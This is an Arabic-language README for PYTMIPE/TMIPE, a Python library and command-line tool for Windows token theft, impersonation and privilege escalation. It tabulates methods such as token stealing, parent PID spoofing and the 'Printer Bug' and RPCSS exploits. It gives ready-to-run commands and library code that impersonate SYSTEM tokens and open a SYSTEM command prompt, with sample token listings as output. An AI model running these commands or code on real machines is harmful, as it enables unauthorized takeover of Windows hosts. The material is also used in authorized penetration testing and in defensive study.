
مكتبة Python وعميل لمعالجة الرموز والانتحال لتصعيد الامتيازات على Windows
PYTMIPE (مكتبة بايثون لمعالجة الرموز المميزة وانتحال الشخصية لتصعيد الامتيازات) هي مكتبة Python 3 لمعالجة رموز Windows وإدارة عمليات الانتحال بهدف الحصول على امتيازات إضافية على Windows. TMIPE هو العميل Python 3 الذي يستخدم مكتبة pytmipe.
شرائح "معالجة رموز Windows وانتحال الشخصية وتصعيد الامتيازات" (بالإنجليزية): رابط
مقال في MISC 112 (بالفرنسية): رابط
| الطريقة | الامتيازات المطلوبة | نظام التشغيل (غير شامل) | الهدف المباشر (الأقصى) |
|---|---|---|---|
| إنشاء الرمز المميز وانتحاله | اسم المستخدم وكلمة المرور | الكل | مسؤول محلي |
| سرقة/انتحال الرمز المميز | SeDebugPrivilege | الكل | nt authority\system |
| تزوير PID الأصلي (توريث المقبض) | SeDebugPrivilege | >= Vista | nt authority\system |
| الخدمة (SCM) | مسؤول محلي (ومستوى تكامل عالي إذا كان UAC مفعّلاً) | الكل | nt authority\system أو حساب نطاق |
| حدث WMI | مسؤول محلي (ومستوى تكامل عالي إذا كان UAC مفعّلاً) | الكل | nt authority\system |
| ثغرة « Printer Bug » لتصعيد الامتيازات | SeImpersonatePrivilege (حساب خدمة) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| ثغرة خدمة RPCSS لتصعيد الامتيازات | SeImpersonatePrivilege (حساب خدمة) | Windows 10 & Server 2016/2019 | nt authority\system |
القائمة التالية غير الشاملة تُظهر بعض الميزات المُنفَّذة في مكتبة pytmipe:
يتم استخدام ctypes لأقصى وقت. تم إعادة تطوير العديد من ميزات pywin32 في pytmipe لتجنب استخدام pywin32 من أجل قابلية نقل أفضل. ومع ذلك، لا تزال وحدة جدولة المهام تستخدم pywin32 (بشكل أكثر دقة pythoncom) بسبب ضيق الوقت. جميع الوحدات الأخرى تستخدم ctypes فقط.
لـ عميل بايثون (اسمه tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
لـ مكتبة بايثون (اسمها pytmipe)، راجع الكود المصدري والأمثلة. عادةً، قمت بتوثيق الكود المصدري جيدًا... معظم الدوال موثقة.
لـ أمثلة pyinstaller والملفات المستقلة، راجع الملفات في مجلدات src/examples/.
إذا كنت تريد معرفة كيفية استخدام مكتبة pytimpe، انظر مجلد src/examples للعديد من الأمثلة.
لانتحال أول رمز system والحصول على موجه cmd.exe كـ system من عميل بايثون (tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
لفعل الشيء نفسه باستخدام مكتبة pytmipe مباشرة، انظر الملف src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
سيؤدي ذلك إلى فتح موجه cmd.exe كـ system إذا كان مستخدم Windows الحالي لديه الصلاحيات المطلوبة.
بالطبع، من هذا الكود المصدري، يمكنك إنشاء ملف exe مستقل باستخدام pyinstaller.
للحصول على الرموز الأساسية ورموز الانتحال المستخدمة في العملية الحالية:
python.exe tmipe.py printalltokens --current --full --linked
المخرجات:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
للحصول على جميع الرموز المميزة التي يمكن الوصول إليها من الخيط الحالي، مرتبة حسب PID، عندما يكون الانتحال ممكناً فقط:
python.exe tmipe.py printalltokensbypid --imp-only
المخرجات:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
إذا كنت تريد القيام بهذه العملية باستخدام مكتبة pytmipe، فهي سهلة أيضاً:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
يمكنك انتحال رمز مميز محدد.
الخطوة الأولى، احصل على جميع الرموز وفقاً لمرشحاتك (رموز system والرموز التي يمكن انتحالها بواسطة الخيط الحالي):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
المخرجات:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
المخرجات السابقة تُظهر رمز انتحال موجود في PID 2288 (ihandle 118)، بمستوى تكامل system. من الممكن انتحال هذا الرمز المحدد باستخدام الأمر التالي:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
هذا الأمر السابق يفتح cmd.exe كـ nt authority\system.
يمكن القيام بذلك باستخدام مكتبة pytmipe أيضاً. الكود المصدري التالي ينتحل أول رمز system متاح، ويطبع الرمز الفعال ثم يوقف الانتحال:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
إذا كنت ترغب في دعم عملي عبر التبرع، سأكون ممتناً جداً:
عبر BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf